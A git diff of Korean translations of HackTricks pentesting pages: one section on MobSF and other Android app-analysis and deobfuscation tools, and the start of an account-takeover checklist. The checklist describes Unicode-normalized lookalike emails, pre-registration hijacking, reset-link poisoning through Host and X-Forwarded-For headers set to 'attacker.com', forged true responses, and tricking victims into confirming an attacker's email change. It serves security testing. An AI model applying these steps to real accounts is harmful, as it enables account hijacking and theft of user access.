MobSF는 **Android**(apk), **IOS**(ipa) 및 Windows(apx) 애플리케이션을 분석할 수 있습니다 (_Windows 애플리케이션은 Windows 호스트에 설치된 MobSF에서 분석해야 합니다_). 또한 **Android** 또는 **IOS** 앱의 소스 코드로 ZIP 파일을 만들면 (애플리케이션의 루트 폴더로 이동하여 모두 선택하고 ZIP 파일을 만듭니다), MobSF가 분석할 수도 있습니다.
|
||||
|
||||
MobSF는 **분석 비교** 및 **VirusTotal** 통합도 가능합니다 (MobSF/settings.py에서 API 키를 설정하고 활성화해야 합니다: `VT_ENABLED = TRUE`, `VT_API_KEY = <Your API key>`, `VT_UPLOAD = TRUE`). `VT_UPLOAD`를 `False`로 설정하면 **해시**가 **파일 대신 업로드**됩니다.
|
||||
MobSF는 **diff/비교** 분석 및 **VirusTotal** 통합도 가능합니다 (MobSF/settings.py에서 API 키를 설정하고 활성화해야 합니다: `VT_ENABLED = TRUE` `VT_API_KEY = <Your API key>` `VT_UPLOAD = TRUE`). 또한 `VT_UPLOAD`를 `False`로 설정하면 **해시**가 **파일 대신 업로드**됩니다.
|
||||
|
||||
### MobSF를 사용한 보조 동적 분석
|
||||
|
||||
**MobSF**는 **Android**에서 **동적 분석**에 매우 유용할 수 있지만 이 경우 호스트에 MobSF와 **genymotion**을 설치해야 합니다 (VM 또는 Docker는 작동하지 않습니다). _참고: **genymotion에서 먼저 VM을 시작**하고 **그런 다음 MobSF를 시작해야 합니다.**_\
|
||||
**MobSF**는 **Android**에서 **동적 분석**에도 매우 유용할 수 있지만, 이 경우에는 호스트에 MobSF와 **genymotion**을 설치해야 합니다 (VM 또는 Docker는 작동하지 않습니다). _참고: **genymotion**에서 먼저 VM을 **시작**해야 합니다. 그리고 **MobSF를 실행**해야 합니다._
|
||||
|
||||
**MobSF 동적 분석기**는 다음을 수행할 수 있습니다:
|
||||
|
||||
* **애플리케이션 데이터 덤프** (URL, 로그, 클립보드, 사용자가 캡처한 스크린샷, "**Exported Activity Tester**"가 캡처한 스크린샷, 이메일, SQLite 데이터베이스, XML 파일 및 생성된 기타 파일). 스크린샷을 제외한 모든 작업은 자동으로 수행되며, 스크린샷을 캡처하려면 원하는 시점에 눌러야 하거나 "**Exported Activity Tester**"를 눌러서 내보낸 모든 활동의 스크린샷을 얻어야 합니다.
|
||||
* **애플리케이션 데이터 덤프** (URL, 로그, 클립보드, 사용자가 캡처한 스크린샷, "**Exported Activity Tester**"가 캡처한 스크린샷, 이메일, SQLite 데이터베이스, XML 파일 및 기타 생성된 파일). 스크린샷을 제외한 모든 작업은 자동으로 수행되며, 스크린샷을 캡처하려면 원하는 시점에 눌러야 하거나 "**Exported Activity Tester**"를 눌러서 내보낸 모든 활동의 스크린샷을 얻어야 합니다.
|
||||
* **HTTPS 트래픽 캡처**
|
||||
* **Frida**를 사용하여 **런타임 정보** 획득
|
||||
* **Frida**를 사용하여 **런타임 정보** 획들
|
||||
|
||||
**Android** 버전이 **5보다 큰 경우**, 자동으로 **Frida를 시작**하고 전역 **프록시** 설정을 **트래픽 캡처**로 설정합니다. 테스트된 애플리케이션에서만 트래픽을 캡처합니다.
|
||||
**Android** 버전이 **5보다 큰 경우**, **Frida가 자동으로 시작**되고 전역 **프록시** 설정이 **트래픽 캡처**로 설정됩니다. 테스트된 애플리케이션에서만 트래픽을 캡처합니다.
|
||||
|
||||
**Frida**
|
||||
|
||||
기본적으로 **SSL 핀닝 우회**, **루트 탐지**, **디버거 탐지** 및 **흥미로운 API 모니터링**을 위해 일부 Frida 스크립트를 사용합니다.\
|
||||
기본적으로, **SSL 핀닝 우회**, **루트 탐지**, **디버거 탐지** 및 **흥미로운 API 모니터링**을 위해 일부 Frida 스크립트를 사용합니다.\
|
||||
MobSF는 또한 내보낸 활동을 **호출**, 해당 활동의 **스크린샷**을 캡처하고 보고서에 **저장**할 수 있습니다.
|
||||
|
||||
동적 테스트를 시작하려면 "**Start Instrumentation**" 버튼을 누르세요. Frida 스크립트가 생성한 로그를 보려면 "**Frida Live Logs**"를 누르세요. "**Live API Monitor**"를 눌러 후킹된 메서드의 호출, 전달된 인수 및 반환된 값 모두를 볼 수 있습니다 ("Start Instrumentation"을 누른 후에 나타납니다).\
|
||||
동적 테스트를 시작하려면 "**Start Instrumentation**" 버튼을 누르세요. Frida 스크립트에 의해 생성된 로그를 보려면 "**Frida Live Logs**"를 누르고 후킹된 메서드 호출, 전달된 인수 및 반환된 값 등을 볼려면 "**Live API Monitor**"를 누르세요 ("Start Instrumentation"을 누른 후에 나타납니다).\
|
||||
MobSF는 사용자의 **Frida 스크립트**를 로드할 수 있습니다 (Friday 스크립트의 결과를 MobSF로 보내려면 `send()` 함수를 사용하세요). 또한 로드할 수 있는 **사전 작성된 스크립트**가 있습니다 (`MobSF/DynamicAnalyzer/tools/frida_scripts/others/`에 더 많은 스크립트를 추가할 수 있습니다). 그냥 **선택**하고 "**Load**"를 누르고 "**Start Instrumentation**"을 누르세요 (해당 스크립트의 로그를 "**Frida Live Logs**"에서 볼 수 있습니다).
|
||||
|
||||
![](<../../.gitbook/assets/image (419).png>)
|
||||
|
||||
또한 보조 Frida 기능이 있습니다:
|
||||
또한, 보조 Frida 기능이 있습니다:
|
||||
|
||||
* **로드된 클래스 나열**: 로드된 모든 클래스를 출력합니다.
|
||||
* **문자열 캡처**: 애플리케이션 사용 중 캡처된 모든 문자열을 출력합니다 (매우 시끄러움).
|
||||
* **문자열 비교 캡처**: 매우 유용할 수 있습니다. 비교된 2개의 문자열을 보여주고 결과가 True 또는 False인지 표시합니다.
|
||||
* **문자열 캡처**: 애플리케이션 사용 중에 캡처된 모든 문자열을 출력합니다 (매우 시끄러울 수 있음).
|
||||
* **문자열 비교 캡처**: 매우 유용할 수 있습니다. 비교된 2개의 문자열을 보여주고 결과가 True인지 False인지 표시합니다.
|
||||
* **클래스 메서드 나열**: 클래스 이름(예: "java.io.File")을 입력하면 해당 클래스의 모든 메서드를 출력합니다.
|
||||
* **클래스 패턴 검색**: 패턴으로 클래스 검색
|
||||
* **클래스 메서드 추적**: 전체 클래스를 추적합니다 (클래스의 모든 메서드의 입력 및 출력을 확인합니다). MobSF는 기본적으로 여러 흥미로운 Android API 메서드를 추적합니다.
|
||||
|
||||
사용하려는 보조 모듈을 선택한 후 "**Start Intrumentation**"을 눌러 모든 출력을 "**Frida Live Logs**"에서 볼 수 있습니다.
|
||||
사용하려는 보조 모듈을 선택한 후 "**Start Intrumentation**"을 눌러서 모든 출력을 "**Frida Live Logs**"에서 볼 수 있습니다.
|
||||
|
||||
**Shell**
|
||||
|
||||
Mobsf는 동적 분석 페이지 하단에 일부 **adb** 명령어, **MobSF 명령어** 및 일반 **shell 명령어**를 포함한 셸을 제공합니다. 흥미로운 명령어:
|
||||
Mobsf는 동적 분석 페이지 하단에 일부 **adb** 명령어, **MobSF 명령어** 및 일반 **shell 명령어**를 포함한 셸을 제공합니다. 일부 흥미로운 명령어:
|
||||
```bash
|
||||
help
|
||||
shell ls
|
||||
|
@ -638,10 +641,10 @@ receivers
|
|||
```
|
||||
**HTTP 도구**
|
||||
|
||||
HTTP 트래픽을 캡처하면 "**HTTP(S) 트래픽**" 하단에 캡처된 트래픽의 불편한 뷰를 볼 수 있거나 "**Start HTTPTools**" 녹색 버튼에서 더 나은 뷰를 볼 수 있습니다. 두 번째 옵션에서는 **캡처된 요청을** Burp나 Owasp ZAP과 같은 **프록시**로 **보낼 수** 있습니다.\
|
||||
이를 위해 _Burp를 켜고 -->_ _Intercept를 끕니다 --> MobSB HTTPTools에서 요청을 선택_ --> "**Fuzzer로 보내기**"를 누릅니다 --> _프록시 주소를 선택_ ([http://127.0.0.1:8080\\](http://127.0.0.1:8080)).
|
||||
HTTP 트래픽을 캡처하면 "**HTTP(S) Traffic**" 하단에 캡처된 트래픽의 불편한 뷰를 볼 수 있거나 "**Start HTTPTools**"의 녹색 버튼에서 더 나은 뷰를 볼 수 있습니다. 두 번째 옵션에서는 **캡처된 요청**을 Burp나 Owasp ZAP와 같은 **프록시**로 **전송**할 수 있습니다.\
|
||||
이를 위해 _Burp를 켜고 -->_ _Intercept를 끕니다 --> MobSB HTTPTools에서 요청을 선택_ --> "**Send to Fuzzer**"를 누릅니다 --> _프록시 주소를 선택_ ([http://127.0.0.1:8080\\](http://127.0.0.1:8080)).
|
||||
|
||||
MobSF로 동적 분석을 마치면 "**Start Web API Fuzzer**"를 눌러 **http 요청을 fuzz**하고 취약점을 찾을 수 있습니다.
|
||||
MobSF로 동적 분석을 완료하면 "**Start Web API Fuzzer**"를 눌러 **http 요청을 퍼징**하고 취약점을 찾을 수 있습니다.
|
||||
|
||||
{% hint style="info" %}
|
||||
MobSF로 동적 분석을 수행한 후 프록시 설정이 잘못 구성될 수 있으며 GUI에서 수정할 수 없을 수 있습니다. 프록시 설정을 수정하려면 다음을 수행할 수 있습니다:
|
||||
|
@ -663,7 +666,7 @@ adb shell settings put global http_proxy :0
|
|||
|
||||
### [Qark](https://github.com/linkedin/qark)
|
||||
|
||||
이 도구는 **소스 코드** 또는 **패키지된 APK**에서 여러 **보안 관련 Android 애플리케이션 취약점**을 찾도록 설계되었습니다. 이 도구는 또한 발견된 일부 취약점을 이용하기 위해 "Proof-of-Concept" 배포 가능한 APK 및 **ADB 명령**을 생성할 수 있습니다 (노출된 액티비티, 인텐트, 탭잭킹 등). Drozer와 마찬가지로 테스트 기기를 루팅할 필요가 없습니다.
|
||||
이 도구는 **소스 코드** 또는 **패키지된 APK**에서 여러 **보안 관련 Android 애플리케이션 취약점**을 찾도록 설계되었습니다. 이 도구는 또한 발견된 일부 취약점을 이용하기 위한 "Proof-of-Concept" 배포 가능한 APK 및 **ADB 명령**을 생성할 수 있습니다 (노출된 액티비티, 인텐트, 탭잭킹 등). Drozer와 마찬가지로 테스트 기기를 루팅할 필요가 없습니다.
|
||||
```bash
|
||||
pip3 install --user qark # --user is only needed if not using a virtualenv
|
||||
qark --apk path/to/my.apk
|
||||
|
@ -672,7 +675,7 @@ qark --java path/to/specific/java/file.java
|
|||
```
|
||||
### [**ReverseAPK**](https://github.com/1N3/ReverseAPK.git)
|
||||
|
||||
* 쉬운 참조를 위해 모든 추출된 파일 표시
|
||||
* 쉬운 참조를 위해 추출된 모든 파일 표시
|
||||
* APK 파일을 자동으로 Java 및 Smali 형식으로 디컴파일
|
||||
* 일반적인 취약점 및 동작을 위해 AndroidManifest.xml 분석
|
||||
* 일반적인 취약점 및 동작을 위한 정적 소스 코드 분석
|
||||
|
@ -683,7 +686,7 @@ reverse-apk relative/path/to/APP.apk
|
|||
```
|
||||
### [SUPER Android Analyzer](https://github.com/SUPERAndroidAnalyzer/super)
|
||||
|
||||
SUPER는 Windows, MacOS X 및 Linux에서 사용할 수있는 명령줄 응용 프로그램으로, 취약점을 찾기 위해 _.apk_ 파일을 분석합니다. 이를 위해 APK를 압축 해제하고 취약점을 감지하기 위해 일련의 규칙을 적용합니다.
|
||||
SUPER는 Windows, MacOS X 및 Linux에서 사용할 수있는 명령줄 응용 프로그램으로, 취약점을 찾기 위해 _.apk_ 파일을 분석합니다. 이는 APK를 압축 해제하고 취약점을 감지하기 위해 일련의 규칙을 적용함으로써 수행됩니다.
|
||||
|
||||
모든 규칙은 `rules.json` 파일에 중점을 두고 있으며, 각 회사 또는 테스터는 필요한 내용을 분석하기 위해 자체 규칙을 만들 수 있습니다.
|
||||
|
||||
|
@ -697,7 +700,7 @@ super-analyzer {apk_file}
|
|||
|
||||
StaCoAn은 **크로스플랫폼** 도구로, 개발자, 버그바운티 헌터 및 윤리적 해커들이 모바일 애플리케이션에 대한 [정적 코드 분석](https://en.wikipedia.org/wiki/Static\_program\_analysis)을 수행하는 데 도움을 줍니다.
|
||||
|
||||
이 개념은 모바일 애플리케이션 파일(.apk 또는 .ipa 파일)을 StaCoAn 애플리케이션에 끌어다 놓으면 시각적이고 휴대용 보고서를 생성해줍니다. 설정 및 워드리스트를 조정하여 사용자 정의 경험을 얻을 수 있습니다.
|
||||
이 개념은 모바일 애플리케이션 파일(.apk 또는 .ipa 파일)을 StaCoAn 애플리케이션으로 끌어다 놓으면 시각적이고 휴대용 보고서를 생성해줍니다. 설정 및 워드리스트를 조정하여 사용자 정의 경험을 얻을 수 있습니다.
|
||||
|
||||
[최신 릴리스 다운로드](https://github.com/vincentcox/StaCoAn/releases):
|
||||
```
|
||||
|
@ -713,7 +716,7 @@ androbugs.exe -f [APK file]
|
|||
```
|
||||
### [Androwarn](https://github.com/maaaaz/androwarn)
|
||||
|
||||
**Androwarn**는 주로 안드로이드 애플리케이션에 의해 개발된 잠재적으로 악성 행위를 감지하고 사용자에게 경고하는 데 중점을 둔 도구입니다.
|
||||
**Androwarn**는 주로 안드로이드 애플리케이션에 의해 개발된 잠재적으로 악성 행위를 감지하고 사용자에게 경고하는 데 목적을 둔 도구입니다.
|
||||
|
||||
이 감지는 애플리케이션의 Dalvik 바이트 코드를 **Smali**로 표현하여 수행되며, [`androguard`](https://github.com/androguard/androguard) 라이브러리를 사용하여 **정적 분석**이 수행됩니다.
|
||||
|
||||
|
@ -721,19 +724,19 @@ androbugs.exe -f [APK file]
|
|||
```
|
||||
python androwarn.py -i my_application_to_be_analyzed.apk -r html -v 3
|
||||
```
|
||||
### [MARA Framework](https://github.com/xtiankisutsa/MARA_Framework)
|
||||
### [MARA Framework](https://github.com/xtiankisutsa/MARA\_Framework)
|
||||
|
||||
![](<../../.gitbook/assets/image (595).png>)
|
||||
|
||||
**MARA**는 **M**obile **A**pplication **R**everse engineering 및 **A**nalysis Framework입니다. 이 도구는 일반적으로 사용되는 모바일 애플리케이션 역공학 및 분석 도구를 결합하여 OWASP 모바일 보안 위협에 대한 모바일 애플리케이션을 테스트하는 데 도움을 줍니다. 그 목표는 모바일 애플리케이션 개발자와 보안 전문가들에게 이 작업을 더 쉽고 친숙하게 만드는 것입니다.
|
||||
**MARA**는 **M**obile **A**pplication **R**everse engineering 및 **A**nalysis Framework입니다. 이 도구는 일반적으로 사용되는 모바일 애플리케이션 역공학 및 분석 도구를 모아 OWASP 모바일 보안 위협에 대한 모바일 애플리케이션 테스트를 지원합니다. 그 목표는 모바일 애플리케이션 개발자와 보안 전문가들이 이 작업을 더 쉽고 친숙하게 할 수 있도록 하는 것입니다.
|
||||
|
||||
다음을 수행할 수 있습니다:
|
||||
|
||||
* 다양한 도구를 사용하여 Java 및 Smali 코드 추출
|
||||
* [smalisca](https://github.com/dorneanu/smalisca), [ClassyShark](https://github.com/google/android-classyshark), [androbugs](https://github.com/AndroBugs/AndroBugs_Framework), [androwarn](https://github.com/maaaaz/androwarn), [APKiD](https://github.com/rednaga/APKiD)를 사용하여 APK 분석
|
||||
* [smalisca](https://github.com/dorneanu/smalisca), [ClassyShark](https://github.com/google/android-classyshark), [androbugs](https://github.com/AndroBugs/AndroBugs\_Framework), [androwarn](https://github.com/maaaaz/androwarn), [APKiD](https://github.com/rednaga/APKiD)를 사용하여 APK 분석
|
||||
* APK에서 정규식을 사용하여 개인 정보 추출
|
||||
* Manifest 분석
|
||||
* [pyssltest](https://github.com/moheshmohan/pyssltest), [testssl](https://github.com/drwetter/testssl.sh), [whatweb](https://github.com/urbanadventurer/WhatWeb)를 사용하여 찾은 도메인 분석
|
||||
* [pyssltest](https://github.com/moheshmohan/pyssltest), [testssl](https://github.com/drwetter/testssl.sh) 및 [whatweb](https://github.com/urbanadventurer/WhatWeb)를 사용하여 발견된 도메인 분석
|
||||
* [apk-deguard.com](http://www.apk-deguard.com)를 통해 APK의 난독화 해제
|
||||
|
||||
### Koodous
|
||||
|
@ -742,7 +745,7 @@ python androwarn.py -i my_application_to_be_analyzed.apk -r html -v 3
|
|||
|
||||
## 코드 난독화/해제
|
||||
|
||||
코드를 난독화하는 서비스 및 구성에 따라 비밀이 난독화되었을 수도 있고 아닐 수도 있음에 유의하십시오.
|
||||
코드를 난독화하는 서비스 및 구성에 따라 비밀 정보가 난독화되었을 수도 있고 그렇지 않을 수도 있음에 유의하십시오.
|
||||
|
||||
### [ProGuard](https://en.wikipedia.org/wiki/ProGuard\_\(software\))
|
||||
|
||||
|
@ -752,7 +755,7 @@ ProGuard는 Android SDK의 일부로 제공되며 릴리스 모드로 애플리
|
|||
|
||||
### [DexGuard](https://www.guardsquare.com/dexguard)
|
||||
|
||||
APK의 난독화를 해제하는 단계별 가이드: [https://blog.lexfo.fr/dexguard.html](https://blog.lexfo.fr/dexguard.html)
|
||||
APK의 난독화를 해제하는 단계별 가이드는 [https://blog.lexfo.fr/dexguard.html](https://blog.lexfo.fr/dexguard.html)에서 확인할 수 있습니다.
|
||||
|
||||
(해당 가이드로부터) 최근 확인한 바에 따르면 Dexguard의 작동 방식은 다음과 같습니다:
|
||||
|
||||
|
@ -764,32 +767,32 @@ APK의 난독화를 해제하는 단계별 가이드: [https://blog.lexfo.fr/dex
|
|||
|
||||
### [DeGuard](http://apk-deguard.com)
|
||||
|
||||
**DeGuard는 Android 난독화 도구에 의해 수행된 난독화 과정을 역전시킵니다. 이를 통해 코드 검사 및 라이브러리 예측을 포함한 다양한 보안 분석이 가능해집니다.**
|
||||
**DeGuard는 Android 난독화 도구에 의해 수행된 난독화 과정을 반전시킵니다. 이를 통해 코드 검사 및 라이브러리 예측을 포함한 다양한 보안 분석이 가능해집니다.**
|
||||
|
||||
난독화된 APK를 해당 플랫폼에 업로드할 수 있습니다.
|
||||
|
||||
### [Simplify](https://github.com/CalebFenton/simplify)
|
||||
|
||||
**일반적인 안드로이드 해독기**입니다. Simplify는 **앱을 가상으로 실행**하여 그 동작을 이해한 후 코드를 **최적화**하여 사람이 이해하기 쉽게 만듭니다. 각 최적화 유형은 간단하고 일반적이므로 특정 난독화 유형이 무엇이든 상관없습니다.
|
||||
**일반적인 안드로이드 난독화 해제 도구입니다.** Simplify는 **앱을 가상으로 실행**하여 그 동작을 이해한 후 코드를 최적화하여 동일하게 동작하지만 사람이 이해하기 쉽도록 만듭니다. 각 최적화 유형은 간단하고 일반적이므로 특정 난독화 유형이 무엇이든 상관없습니다.
|
||||
|
||||
### [APKiD](https://github.com/rednaga/APKiD)
|
||||
|
||||
APKiD는 **APK가 만들어진 방식에 대한 정보**를 제공합니다. **컴파일러**, **패커**, **난독화 도구** 및 기타 이상한 것들을 식별합니다. 이는 Android용 [_PEiD_](https://www.aldeid.com/wiki/PEiD)입니다.
|
||||
APKiD는 **APK가 만들어진 방식에 대한 정보**를 제공합니다. 많은 **컴파일러**, **패커**, **난독화 도구** 및 기타 이상한 것들을 식별합니다. 이는 Android용 [_PEiD_](https://www.aldeid.com/wiki/PEiD)입니다.
|
||||
|
||||
### 수동
|
||||
|
||||
[**사용자 정의 난독화를 역전하는 방법에 대한 팁을 학습**하기 위해 이 튜토리얼을 읽으세요](manual-deobfuscation.md)
|
||||
[**사용자 정의 난독화를 역으로 해제하는 방법에 대한 일부 팁을 학습하려면 이 튜토리얼을 읽으세요**](manual-deobfuscation.md)
|
||||
|
||||
## 랩
|
||||
|
||||
### [Androl4b](https://github.com/sh4hin/Androl4b)
|
||||
|
||||
AndroL4b는 우분투-메이트를 기반으로 한 Android 보안 가상 머신으로, 다양한 보안 전문가 및 연구원들의 최신 프레임워크, 튜토리얼 및 랩을 포함하고 있어 역공학 및 악성 코드 분석에 유용합니다.
|
||||
AndroL4b는 우분투-메이트를 기반으로 한 Android 보안 가상 머신으로 다양한 보안 전문가 및 연구원들의 최신 프레임워크, 튜토리얼 및 랩을 포함합니다. 이는 역공학 및 악성 코드 분석을 위한 것입니다.
|
||||
|
||||
## 참고 자료
|
||||
|
||||
* [https://owasp.org/www-project-mobile-app-security/](https://owasp.org/www-project-mobile-app-security/)
|
||||
* [https://appsecwiki.com/#/](https://appsecwiki.com/#/) 리소스 목록
|
||||
* [https://appsecwiki.com/#/](https://appsecwiki.com/#/) 이것은 많은 리소스가 모아져 있는 훌륭한 목록입니다
|
||||
* [https://maddiestone.github.io/AndroidAppRE/](https://maddiestone.github.io/AndroidAppRE/) Android 빠른 코스
|
||||
* [https://manifestsecurity.com/android-application-security/](https://manifestsecurity.com/android-application-security/)
|
||||
* [https://github.com/Ralireza/Android-Security-Teryaagh](https://github.com/Ralireza/Android-Security-Teryaagh)
|
||||
|
|
|
@ -6,41 +6,50 @@
|
|||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사가 HackTricks에 광고되길 원하거나** **PDF 형식의 HackTricks를 다운로드**하려면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 굿즈**](https://peass.creator-spring.com)를 구매하세요
|
||||
* **회사가 HackTricks에 광고되길 원하거나** **PDF로 HackTricks 다운로드**하려면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구입하세요
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* **💬 [Discord 그룹](https://discord.gg/hRep4RUj7f)** 또는 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
|
||||
* **HackTricks** 및 **HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
|
||||
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f)에 가입하거나 [**텔레그램 그룹**](https://t.me/peass)에 가입하거나** **트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
|
||||
* **HackTricks** 및 **HackTricks Cloud** github 저장소로 PR을 제출하여 해킹 요령을 공유하세요.
|
||||
|
||||
</details>
|
||||
|
||||
## **권한 문제**
|
||||
|
||||
계정의 이메일을 변경하려고 시도하고 확인 프로세스를 **조사**해야 합니다. **약점**이 발견되면 의도한 피해자의 이메일로 변경한 후 확인해야 합니다.
|
||||
계정의 이메일을 변경하려고 시도하고 확인 프로세스를 **조사**해야 합니다. **약점**이 발견되면 이메일을 희생자의 이메일로 변경한 후 확인해야 합니다.
|
||||
|
||||
## **유니코드 정규화 문제**
|
||||
|
||||
1. 의도한 피해자 `victim@gmail.com`의 계정
|
||||
1. 목표 희생자의 계정 `victim@gmail.com`
|
||||
2. 유니코드를 사용하여 계정을 생성해야 합니다\
|
||||
예: `vićtim@gmail.com`
|
||||
|
||||
[**이 발표**](https://www.youtube.com/watch?v=CiIyaZ3x49c)에서 설명한대로, 이전 공격은 제3자 신원 제공자를 악용하여 수행할 수도 있습니다:
|
||||
|
||||
* 희생자와 유사한 이메일로 제3자 신원 제공자에 계정을 생성합니다 (`vićtim@company.com`).
|
||||
* 제3자 제공자는 이메일을 확인하지 않아야 합니다.
|
||||
* 신원 제공자가 이메일을 확인하는 경우, 도메인 부분을 공격할 수 있습니다. 예: `victim@ćompany.com`과 같이 도메인을 등록하고, 신원 제공자가 도메인 이름을 아스키 버전으로 생성하고 희생자 플랫폼이 도메인 이름을 정규화하도록 희망합니다.
|
||||
* 희생자 계정에 액세스할 수 있도록 유니코드 문자를 정규화하고 희생자 플랫폼에 로그인합니다.
|
||||
|
||||
자세한 내용은 유니코드 정규화 문서를 참조하세요:
|
||||
|
||||
{% content-ref url="unicode-injection/unicode-normalization.md" %}
|
||||
[unicode-normalization.md](unicode-injection/unicode-normalization.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## **재사용 가능한 재설정 토큰**
|
||||
|
||||
대상 시스템이 **재설정 링크를 재사용 허용**하는 경우 `gau`, `wayback`, 또는 `scan.io`와 같은 도구를 사용하여 **더 많은 재설정 링크를 찾아야** 합니다.
|
||||
대상 시스템이 **재설정 링크를 재사용 허용**하는 경우, `gau`, `wayback`, 또는 `scan.io`와 같은 도구를 사용하여 **더 많은 재설정 링크를 찾아야** 합니다.
|
||||
|
||||
## **계정 탈취 전 사전 조치**
|
||||
|
||||
1. 피해자의 이메일을 사용하여 플랫폼에 가입하고 비밀번호를 설정해야 합니다 (피해자의 이메일에 액세스할 수 없는 경우 이를 불가능하게 할 수 있습니다).
|
||||
2. 피해자가 OAuth를 사용하여 가입하고 계정을 확인할 때까지 기다려야 합니다.
|
||||
3. 일반 가입이 확인되어 피해자의 계정에 액세스할 수 있기를 희망합니다.
|
||||
1. 희생자의 이메일을 사용하여 플랫폼에 가입하고 비밀번호를 설정해야 합니다 (희생자의 이메일에 액세스할 수 없는 경우 이를 불가능하게 할 수 있습니다).
|
||||
2. 희생자가 OAuth를 사용하여 가입하고 계정을 확인할 때까지 기다려야 합니다.
|
||||
3. 정상 가입이 확인되어 희생자의 계정에 액세스할 수 있도록 희망합니다.
|
||||
|
||||
## **CORS 구성 오류로 인한 계정 탈취**
|
||||
|
||||
페이지에 **CORS 구성 오류**가 포함되어 있는 경우 사용자로부터 **민감한 정보를 훔쳐** 계정을 **탈취하거나** 인증 정보를 변경할 수 있을 수 있습니다:
|
||||
페이지에 **CORS 구성 오류**가 포함되어 있는 경우 사용자로부터 **민감한 정보를 탈취**하거나 계정을 탈취하거나 인증 정보를 변경할 수 있습니다:
|
||||
|
||||
{% content-ref url="cors-bypass.md" %}
|
||||
[cors-bypass.md](cors-bypass.md)
|
||||
|
@ -48,7 +57,7 @@ HackTricks를 지원하는 다른 방법:
|
|||
|
||||
## **Csrf를 통한 계정 탈취**
|
||||
|
||||
페이지가 CSRF에 취약하면 **사용자가 비밀번호를 수정하거나** 이메일 또는 인증을 변경할 수 있어서 그 후 액세스할 수 있을 수 있습니다:
|
||||
페이지가 CSRF에 취약한 경우 **사용자가 비밀번호를 수정**하거나 이메일 또는 인증을 변경할 수 있어서 액세스할 수 있을 수 있습니다:
|
||||
|
||||
{% content-ref url="csrf-cross-site-request-forgery.md" %}
|
||||
[csrf-cross-site-request-forgery.md](csrf-cross-site-request-forgery.md)
|
||||
|
@ -56,7 +65,7 @@ HackTricks를 지원하는 다른 방법:
|
|||
|
||||
## **XSS를 통한 계정 탈취**
|
||||
|
||||
응용 프로그램에서 XSS를 찾으면 쿠키, 로컬 저장소 또는 웹 페이지에서 정보를 훔쳐 계정을 탈취할 수 있을 수 있습니다:
|
||||
응용 프로그램에서 XSS를 찾으면 쿠키, 로컬 저장소 또는 웹 페이지에서 정보를 탈취하여 계정을 탈취할 수 있을 수 있습니다:
|
||||
|
||||
{% content-ref url="xss-cross-site-scripting/" %}
|
||||
[xss-cross-site-scripting](xss-cross-site-scripting/)
|
||||
|
@ -64,7 +73,7 @@ HackTricks를 지원하는 다른 방법:
|
|||
|
||||
## **동일 출처 + 쿠키**
|
||||
|
||||
제한된 XSS 또는 서브도메인 탈취를 찾으면 쿠키를 조작하여 피해자 계정을 침해하려고 시도할 수 있습니다 (예: 쿠키를 고정화):
|
||||
제한된 XSS 또는 서브도메인 탈취를 찾으면 쿠키를 조작하여 희생자 계정을 침해하려고 시도할 수 있습니다 (예: 쿠키를 고정화):
|
||||
|
||||
{% content-ref url="hacking-with-cookies/" %}
|
||||
[hacking-with-cookies](hacking-with-cookies/)
|
||||
|
@ -78,7 +87,7 @@ HackTricks를 지원하는 다른 방법:
|
|||
|
||||
## **응답 조작**
|
||||
|
||||
인증 응답이 **간단한 부울로 줄어들 경우 false를 true로 변경**하여 액세스를 확인해 보세요.
|
||||
인증 응답을 **간단한 부울로 줄일 수 있는 경우 false를 true로 변경**하여 액세스를 확인해 보세요.
|
||||
|
||||
## OAuth를 통한 계정 탈취
|
||||
|
||||
|
@ -88,10 +97,10 @@ HackTricks를 지원하는 다른 방법:
|
|||
|
||||
## 호스트 헤더 삽입
|
||||
|
||||
1. 비밀번호 재설정 요청 시작 후 호스트 헤더가 수정됩니다.
|
||||
1. 비밀번호 재설정 요청 시작 시 호스트 헤더가 수정됩니다.
|
||||
2. `X-Forwarded-For` 프록시 헤더가 `attacker.com`로 변경됩니다.
|
||||
3. 호스트, 리퍼러 및 오리진 헤더가 동시에 `attacker.com`로 변경됩니다.
|
||||
4. 비밀번호 재설정을 시작한 후 메일을 다시 보내기를 선택하면 위의 세 가지 방법이 모두 사용됩니다.
|
||||
3. 호스트, 참조자 및 출처 헤더가 동시에 `attacker.com`로 변경됩니다.
|
||||
4. 비밀번호 재설정을 시작한 후 메일을 다시 보내기를 선택하면 위에서 언급한 3가지 방법이 모두 사용됩니다.
|
||||
|
||||
## 응답 조작
|
||||
|
||||
|
@ -100,20 +109,25 @@ HackTricks를 지원하는 다른 방법:
|
|||
* 상태 코드가 `200 OK`로 변경됩니다.
|
||||
* 응답 본문이 `{"success":true}` 또는 빈 객체 `{}`로 수정됩니다.
|
||||
|
||||
이러한 조작 기술은 JSON이 데이터 전송 및 수신에 사용되는 시나리오에서 효과적입니다.
|
||||
이러한 조작 기술은 데이터 전송 및 수신에 JSON이 사용되는 시나리오에서 효과적입니다.
|
||||
|
||||
## 현재 세션의 이메일 변경
|
||||
|
||||
[이 보고서](https://dynnyd20.medium.com/one-click-account-take-over-e500929656ea)에서:
|
||||
[**이 보고서**](https://dynnyd20.medium.com/one-click-account-take-over-e500929656ea)에서 설명한대로:
|
||||
|
||||
* 공격자는 새 이메일로 이메일 변경을 요청합니다.
|
||||
* 공격자는 새 이메일로 이메일을 변경하도록 요청합니다.
|
||||
* 공격자는 이메일 변경을 확인하는 링크를 받습니다.
|
||||
* 공격자는 피해자에게 링크를 보내어 클릭하도록 유도합니다.
|
||||
* 피해자의 이메일이 공격자가 지정한 이메일로 변경됩니다.
|
||||
* 공격자가 희생자에게 링크를 보내 희생자가 클릭하도록 합니다.
|
||||
